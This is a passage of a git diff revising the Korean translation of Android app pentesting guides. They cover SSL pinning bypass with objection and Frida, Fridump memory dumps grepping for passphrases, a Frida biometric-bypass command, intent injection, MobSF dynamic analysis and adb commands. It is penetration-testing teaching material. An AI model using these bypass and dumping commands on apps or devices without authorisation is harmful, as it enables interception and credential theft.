있으며, 모바일은 자동으로 해 **민감한 정보** -딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!** +딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인**하세요. 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있습니다!** **경로의 매개변수** @@ -409,13 +409,13 @@ HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해 #### SSL 핀닝 우회 -SSL 핀닝이 구현되면 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다: +SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다: -- **apk**를 **수정하여** SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 자동으로 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다. -- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [여기에서 확인하세요](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/). -- **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`. -- **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명됨). -- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62). +- **apk**를 자동으로 **수정**하여 SSL 핀닝을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다. +- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [여기](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)에서 확인하세요. +- **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명). +- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### 일반 웹 취약점 찾기 @@ -435,7 +435,7 @@ Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법 ### **메모리 덤프 - Fridump** -애플리케이션이 비밀번호나 암기구문과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요. +애플리케이션이 비밀번호나 암기구와 같은 민감한 정보를 저장하고 있지 않은지 확인하세요. [**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 앱의 메모리를 덤프할 수 있습니다: ```bash @@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Keystore의 민감한 데이터** -Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다. +Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 루트 사용자로 확인해야 하며, 물리적으로 장치에 접근할 수 있는 누군가가 이 데이터를 훔칠 수 있습니다. 앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다. @@ -462,19 +462,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **지문/생체 인식 우회** -다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있으며, Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:** +다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있습니다. Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **배경 이미지** -애플리케이션을 백그라운드에 두면, Android는 **애플리케이션의 스냅샷**을 저장하므로, 포그라운드로 복구될 때 앱보다 이미지를 먼저 로드하여 앱이 더 빨리 로드된 것처럼 보입니다. +애플리케이션을 백그라운드에 두면, Android는 **애플리케이션의 스냅샷**을 저장하므로 포그라운드로 복구될 때 앱보다 이미지를 먼저 로드하여 앱이 더 빨리 로드된 것처럼 보입니다. 그러나 이 스냅샷에 **민감한 정보**가 포함되어 있다면, 스냅샷에 접근할 수 있는 사람은 **그 정보를 훔칠 수 있습니다** (접근하려면 루트 권한이 필요합니다). 스냅샷은 일반적으로 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`** -Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다. +Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창의 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -484,7 +484,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ### 인텐트 주입 -개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 활동, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다. +개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 액티비티, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다. 위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있는 경우입니다. @@ -493,15 +493,15 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); - **인텐트 주입**은 웹의 오픈 리디렉션 문제와 유사합니다. - 익스플로잇은 `Intent` 객체를 추가로 전달하여 안전하지 않은 작업을 실행하도록 리디렉션할 수 있습니다. - 비공개 구성 요소와 콘텐츠 제공자를 공격자에게 노출할 수 있습니다. -- `WebView`의 URL을 `Intent`로 변환하는 과정은 의도하지 않은 작업을 촉진할 수 있습니다. +- `WebView`의 URL을 `Intent`로 변환하는 것은 의도하지 않은 작업을 촉진할 수 있습니다. ### 안드로이드 클라이언트 측 주입 및 기타 아마도 웹에서 이러한 종류의 취약점에 대해 알고 계실 것입니다. 안드로이드 애플리케이션에서 이러한 취약점에 특히 주의해야 합니다: - **SQL 주입:** 동적 쿼리 또는 콘텐츠 제공자를 다룰 때 매개변수화된 쿼리를 사용하고 있는지 확인하십시오. -- **자바스크립트 주입 (XSS):** 모든 WebView에 대해 자바스크립트 및 플러그인 지원이 비활성화되어 있는지 확인하십시오 (기본적으로 비활성화됨). [자세한 정보는 여기](webview-attacks.md#javascript-enabled)를 참조하십시오. -- **로컬 파일 포함:** WebView는 파일 시스템에 대한 접근이 비활성화되어야 합니다 (기본적으로 활성화됨) - `(webview.getSettings().setAllowFileAccess(false);)`. [자세한 정보는 여기](webview-attacks.md#javascript-enabled)를 참조하십시오. +- **자바스크립트 주입 (XSS):** 모든 WebViews에 대해 자바스크립트 및 플러그인 지원이 비활성화되어 있는지 확인하십시오 (기본적으로 비활성화됨). [자세한 정보는 여기](webview-attacks.md#javascript-enabled)를 참조하십시오. +- **로컬 파일 포함:** WebViews는 파일 시스템에 대한 접근이 비활성화되어야 합니다 (기본적으로 활성화됨) - `(webview.getSettings().setAllowFileAccess(false);)`. [자세한 정보는 여기](webview-attacks.md#javascript-enabled)를 참조하십시오. - **영구 쿠키**: 여러 경우에 안드로이드 애플리케이션이 세션을 종료할 때 쿠키가 취소되지 않거나 디스크에 저장될 수 있습니다. - [**쿠키의 보안 플래그**](../../pentesting-web/hacking-with-cookies/#cookies-flags) @@ -521,45 +521,45 @@ docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` MobSF는 **Android**(apk)**, IOS**(ipa) **및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_).\ -또한 **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다. +또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다. -MobSF는 또한 **diff/비교** 분석을 허용하고 **VirusTotal**을 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다. +MobSF는 **diff/비교** 분석을 허용하고 **VirusTotal**와 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다. ### MobSF를 이용한 보조 동적 분석 -**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\ +**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM 또는 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\ **MobSF 동적 분석기**는 다음을 수행할 수 있습니다: -- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되지만 스크린샷은 사용자가 원할 때 눌러야 하며, 모든 내보낸 활동의 스크린샷을 얻으려면 "**Exported Activity Tester**"를 눌러야 합니다. +- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러 모든 내보낸 활동의 스크린샷을 얻어야 합니다. - **HTTPS 트래픽 캡처** - **Frida**를 사용하여 **런타임** **정보**를 얻기 -Android **버전 > 5**부터는 **Frida**를 **자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다. +Android **버전 > 5**에서는 **Frida**를 **자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다. **Frida** 기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\ MobSF는 또한 **내보낸 활동을 호출**하고, 그들의 **스크린샷을 캡처**하여 보고서에 **저장**할 수 있습니다. -**동적 테스트를 시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누르십시오. "**Frida Live Logs**"를 눌러 Frida 스크립트에 의해 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환된 값을 확인하십시오 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\ +동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누르십시오. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인하십시오 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누르십시오 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다). ![](<../../images/image (419).png>) -또한 몇 가지 보조 Frida 기능이 있습니다: +또한, 몇 가지 보조 Frida 기능이 있습니다: - **로드된 클래스 나열**: 모든 로드된 클래스를 출력합니다. -- **문자열 캡처**: 애플리케이션을 사용하는 동안 모든 캡처 문자열을 출력합니다 (매우 시끄러움). +- **문자열 캡처**: 애플리케이션을 사용하는 동안 모든 캡처된 문자열을 출력합니다 (매우 시끄러움). - **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다. - **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다. - **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다. -- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 확인합니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다. +- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 봅니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다. -사용하려는 보조 모듈을 선택한 후 "**Start Instrumentation**"을 누르면 "**Frida Live Logs**"에서 모든 출력을 볼 수 있습니다. +사용할 보조 모듈을 선택한 후 "**Start Instrumentation**"을 누르면 "**Frida Live Logs**"에서 모든 출력을 볼 수 있습니다. **Shell** -Mobsf는 또한 동적 분석 페이지 하단에 일부 **adb** 명령, **MobSF 명령** 및 일반 **셸** **명령**이 포함된 셸을 제공합니다. 몇 가지 흥미로운 명령: +Mobsf는 동적 분석 페이지 하단에 일부 **adb** 명령, **MobSF 명령** 및 일반 **셸** **명령**이 포함된 셸을 제공합니다. 몇 가지 흥미로운 명령: ```bash help shell ls @@ -570,7 +570,7 @@ receivers ``` **HTTP 도구** -HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 좋지 않은 형태를 볼 수 있으며, "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\ +HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 또는 "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**인 Burp 또는 Owasp ZAP으로 **전송**할 수 있습니다.\ 이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르기 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다. @@ -585,7 +585,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP ### Inspeckage를 이용한 보조 동적 분석 [**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 도구를 받을 수 있습니다.\ -이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알리기 위해 몇 가지 **Hooks**를 사용합니다. +이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지** 알기 위해 몇 가지 **후크**를 사용합니다. ### [Yaazhini](https://www.vegabird.com/yaazhini/) @@ -606,10 +606,10 @@ qark --java path/to/specific/java/file.java - 모든 추출된 파일을 쉽게 참조할 수 있도록 표시 - APK 파일을 자동으로 Java 및 Smali 형식으로 디컴파일 -- 일반적인 취약점 및 동작을 위한 AndroidManifest.xml 분석 +- 일반적인 취약점 및 동작을 위해 AndroidManifest.xml 분석 - 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석 - 장치 정보 -- 기타 등등 +- 및 기타 ```bash reverse-apk relative/path/to/APP.apk ``` @@ -619,7 +619,7 @@ SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플 모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 만들 수 있습니다. -최신 바이너리는 [다운로드 페이지](https://superanalyzer.rocks/download.html)에서 다운로드하세요. +최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요. ``` super-analyzer {apk_file} ``` @@ -629,7 +629,7 @@ super-analyzer {apk_file} StaCoAn은 개발자, 버그 바운티 헌터 및 윤리적 해커가 모바일 애플리케이션에 대해 [정적 코드 분석](https://en.wikipedia.org/wiki/Static_program_analysis)을 수행하는 데 도움을 주는 **크로스 플랫폼** 도구입니다. -개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성한다는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다. +개념은 모바일 애플리케이션 파일(.apk 또는 .ipa 파일)을 StaCoAn 애플리케이션에 드래그 앤 드롭하면 시각적이고 휴대 가능한 보고서를 생성하는 것입니다. 설정과 단어 목록을 조정하여 맞춤형 경험을 얻을 수 있습니다. 다운로드[ 최신 릴리스](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -720,7 +720,7 @@ APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합 ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 최신 프레임워크, 튜토리얼 및 다양한 보안 전문가와 연구자들의 실험실을 포함합니다. +AndroL4b는 Ubuntu-mate를 기반으로 한 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 최신 프레임워크, 튜토리얼 및 다양한 보안 전문가와 연구자들의 실험실을 포함합니다. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/adb-commands.md b/src/mobile-pentesting/android-app-pentesting/adb-commands.md index bc065b2fc..9926216d8 100644 --- a/src/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/src/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -12,7 +12,7 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe ``` adb devices ``` -이 명령은 연결된 장치를 나열합니다. 만약 "_**unauthorized**_"가 나타나면, 이는 **모바일**의 **차단을 해제**하고 연결을 **수락**해야 함을 의미합니다. +이 명령은 연결된 장치를 나열합니다. 만약 "_**unauthorized**_"가 나타나면, 이는 **모바일**의 잠금을 해제하고 **연결**을 수락해야 함을 의미합니다. 이는 장치에 포트 5555에서 adb 서버를 시작해야 함을 나타냅니다: ``` @@ -30,7 +30,7 @@ ADB 서버에 다른 버전으로 연결하려고 하기 때문입니다. 소프 ## 여러 장치 -**여러 장치가 귀하의 머신에 연결되어 있는 경우** 어떤 장치에서 adb 명령을 실행할 것인지 **지정해야** 합니다. +**여러 장치가 귀하의 머신에 연결되어 있는 경우** 어떤 장치에서 adb 명령을 실행할 것인지 **지정해야 합니다**. ```bash adb devices List of devices attached @@ -136,7 +136,7 @@ adb shell screencap /sdcard/screen.png ``` ### adb shell screenrecord \[options] \ -Android 4.4 (API level 19) 이상에서 실행되는 장치의 화면을 녹화합니다. +Android 4.4 (API 레벨 19) 이상에서 실행되는 장치의 화면을 녹화합니다. ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -159,7 +159,7 @@ adb shell ``` ### adb shell \ -장치 내에서 명령을 실행합니다. +디바이스 내에서 명령을 실행합니다. ```bash adb shell ls ``` @@ -174,7 +174,7 @@ am startservice [] #Start a service. Whiout options you can see the hel am broadcast [] #Send a broadcast. Whiout options you can see the help menu input [text|keyevent] #Send keystrokes to device ``` -# Processes +# 프로세스 애플리케이션의 프로세스 PID를 얻으려면 다음을 실행할 수 있습니다: ```bash @@ -186,7 +186,7 @@ adb shell ps ```bash adb shell pidof com.your.application ``` -그리고 애플리케이션의 PID를 출력합니다. +애플리케이션의 PID를 출력합니다. # 시스템 ```bash @@ -196,13 +196,13 @@ adb root ```bash adb sideload ``` -Android update.zip 패키지를 플래싱/복원합니다. +플래싱/복원 Android update.zip 패키지. # 로그 ## Logcat -**하나의 애플리케이션의 메시지만 필터링하려면**, 애플리케이션의 PID를 가져오고 grep (linux/macos) 또는 findstr (windows)을 사용하여 logcat의 출력을 필터링합니다: +하나의 애플리케이션의 메시지만 **필터링하려면**, 애플리케이션의 PID를 가져오고 grep (linux/macos) 또는 findstr (windows)를 사용하여 logcat의 출력을 필터링합니다: ```bash adb logcat | grep 4526 adb logcat | findstr 4526 diff --git a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 731fbf3d9..dbcd44d4e 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -11,7 +11,7 @@ ### UID Separation -**각 애플리케이션은 특정 사용자 ID가 할당됩니다**. 이는 앱 설치 중에 이루어지며, **앱은 자신의 사용자 ID가 소유한 파일이나 공유된 파일과만 상호작용할 수 있습니다**. 따라서 앱 자체, OS의 특정 구성 요소 및 루트 사용자만 앱 데이터를 접근할 수 있습니다. +**각 애플리케이션은 특정 사용자 ID가 할당됩니다**. 이는 앱 설치 중에 이루어지며, **앱은 자신의 사용자 ID가 소유한 파일이나 공유 파일과만 상호작용할 수 있습니다**. 따라서 앱 자체, OS의 특정 구성 요소 및 루트 사용자만 앱 데이터를 접근할 수 있습니다. ### UID Sharing @@ -20,12 +20,12 @@ ### Sandboxing -**Android 애플리케이션 샌드박스**는 **각 애플리케이션을 별도의 사용자 ID로 별도의 프로세스로 실행할 수 있게 합니다**. 각 프로세스는 자신의 가상 머신을 가지므로, 앱의 코드는 다른 앱과 격리되어 실행됩니다.\ +**Android 애플리케이션 샌드박스**는 **각 애플리케이션을 별도의 사용자 ID로 별도의 프로세스로 실행**할 수 있게 합니다. 각 프로세스는 자신의 가상 머신을 가지므로, 앱의 코드는 다른 앱과 격리되어 실행됩니다.\ Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는 모든 프로세스 상호작용을 거부하고, 그들 간의 **예상되는 상호작용만 허용하는 정책을 생성합니다**. ### Permissions -애플리케이션을 설치할 때 **앱이 권한을 요청하면**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성** 내에서 요청된 권한의 이름을 나타냅니다. 또한 **maxSdkVersion** 속성이 있어 지정된 버전보다 높은 버전에서는 권한 요청을 중지합니다.\ +애플리케이션을 설치하고 **권한을 요청할 때**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성** 내에서 요청된 권한의 이름을 나타냅니다. 또한 **maxSdkVersion** 속성이 있어 지정된 버전보다 높은 버전에서는 권한 요청을 중지합니다.\ 안드로이드 애플리케이션은 처음에 모든 권한을 요청할 필요는 없으며, **동적으로 권한을 요청할 수 있지만** 모든 권한은 **매니페스트에 선언되어야 합니다.** 앱이 기능을 노출할 때, **지정된 권한을 가진 앱만 접근할 수 있도록 제한할 수 있습니다**.\ @@ -37,11 +37,11 @@ Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는 - **Normal**: 앱에 **알려진 위협이 없을 때** 사용됩니다. 사용자가 **승인할 필요가 없습니다**. - **Dangerous**: 요청하는 애플리케이션에 **상승된 접근**을 부여하는 권한을 나타냅니다. **사용자에게 승인을 요청합니다**. - **Signature**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱만** 권한을 부여받을 수 있습니다. 이는 가장 강력한 보호 유형입니다. -- **SignatureOrSystem**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱이나** **시스템 수준 접근으로 실행되는 앱만** 권한을 부여받을 수 있습니다. +- **SignatureOrSystem**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱** 또는 **시스템 수준 접근으로 실행되는 앱만** 권한을 부여받을 수 있습니다. ## Pre-Installed Applications -이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 일부는 **최적화되어** 있습니다(심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고** 있기 때문에 확인할 가치가 있습니다(루트 권한으로). +이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 일부는 **최적화**되어 있습니다(심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고 있기 때문에** 확인할 가치가 있습니다(루트 권한으로). - **AOSP** (Android OpenSource Project) **ROM**과 함께 제공되는 것 - 장치 **제조업체**에 의해 추가된 것 @@ -62,7 +62,7 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리 **커스텀 펌웨어를 설치하여 OS를 교체하는 것이 가능합니다**. 이를 통해 오래된 장치의 유용성을 확장하거나 소프트웨어 제한을 우회하거나 최신 안드로이드 코드에 접근할 수 있습니다.\ **OmniROM**과 **LineageOS**는 사용하기에 가장 인기 있는 두 가지 펌웨어입니다. -**장치를 루팅할 필요는 항상 없다는 점에 유의하세요**. **일부 제조업체는** 잘 문서화되고 안전한 방식으로 부트로더 잠금을 해제할 수 있도록 허용합니다. +**장치를 루팅할 필요가 없는 경우도 있습니다**. **일부 제조업체는** 잘 문서화되고 안전한 방식으로 부트로더 잠금을 해제할 수 있도록 허용합니다. ### Implications @@ -101,7 +101,7 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리 인텐트는 안드로이드 앱이 구성 요소 간 또는 다른 앱과 통신하는 주요 수단입니다. 이러한 메시지 객체는 앱 간 또는 구성 요소 간에 데이터를 전달할 수도 있으며, HTTP 통신에서 GET/POST 요청이 사용되는 방식과 유사합니다. -따라서 인텐트는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. 인텐트는 특정 구성 요소나 앱으로 **전달될 수 있거나** **특정 수신자 없이 전송될 수 있습니다**.\ +따라서 인텐트는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. 인텐트는 특정 구성 요소나 앱으로 **전달될 수 있으며**, **특정 수신자 없이 전송될 수도 있습니다**.\ 간단히 말해 인텐트는 다음과 같이 사용될 수 있습니다: - 활동을 시작하여 일반적으로 앱의 사용자 인터페이스를 엽니다. @@ -114,13 +114,13 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리 ### Intent-Filter -**인텐트 필터**는 **활동, 서비스 또는 브로드캐스트 수신자가 다양한 유형의 인텐트와 상호작용할 수 있는 방법을 정의합니다**. 본질적으로, 이들은 이러한 구성 